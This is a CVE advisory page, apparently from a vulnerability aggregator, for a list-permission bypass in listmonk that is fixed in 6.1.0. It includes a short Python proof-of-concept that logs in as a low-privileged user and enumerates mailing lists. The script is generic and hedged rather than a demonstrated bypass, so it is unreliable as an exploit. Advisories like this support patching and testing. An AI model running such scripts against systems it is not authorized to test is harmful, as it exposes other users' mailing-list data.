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CVE-2026-34584 CVSS 5.4 MEDIUM

CVE-2026-34584

Published: 2026-04-02 18:16:31
Last Modified: 2026-04-10 02:03:22

Description

listmonk is a standalone, self-hosted, newsletter and mailing list manager. From version 4.1.0 to before version 6.1.0, bugs in list permission checks allows users in a multi-user environment to access to lists (which they don't have access to) under different scenarios. This only affects multi-user environments with untrusted users. This issue has been patched in version 6.1.0.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nadh:listmonk:*:*:*:*:*:*:*:* - VULNERABLE
listmonk >= 4.1.0, < 6.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-34584: listmonk Permission Bypass # Description: This script attempts to access lists owned by other users # by leveraging the permission check bypass vulnerability. TARGET_URL = "http://localhost:9000" API_USER = "low_priv_user" API_PASS = "password" login_endpoint = f"{TARGET_URL}/api/login" lists_endpoint = f"{TARGET_URL}/api/lists" def exploit(): session = requests.Session() # 1. Authenticate as a low-privileged user login_data = {"username": API_USER, "password": API_PASS} resp = session.post(login_endpoint, json=login_data) if resp.status_code != 200: print(f"Login failed: {resp.text}") return print("[+] Login successful") # 2. Attempt to enumerate all lists # In a vulnerable version, the API might return lists not owned by the user resp = session.get(lists_endpoint) if resp.status_code == 200: data = resp.json() print(f"[+] Successfully retrieved data. Total lists found: {data.get('total', 0)}") # Analyze results to identify unauthorized access for lst in data.get('results', []): print(f" - ID: {lst['id']}, Name: {lst['name']}, OwnerID: {lst.get('user_id', 'N/A')}") print(" [!] Potential unauthorized access detected if OwnerID differs from current user.") else: print("[-] Failed to retrieve lists.") if __name__ == "__main__": exploit()

References

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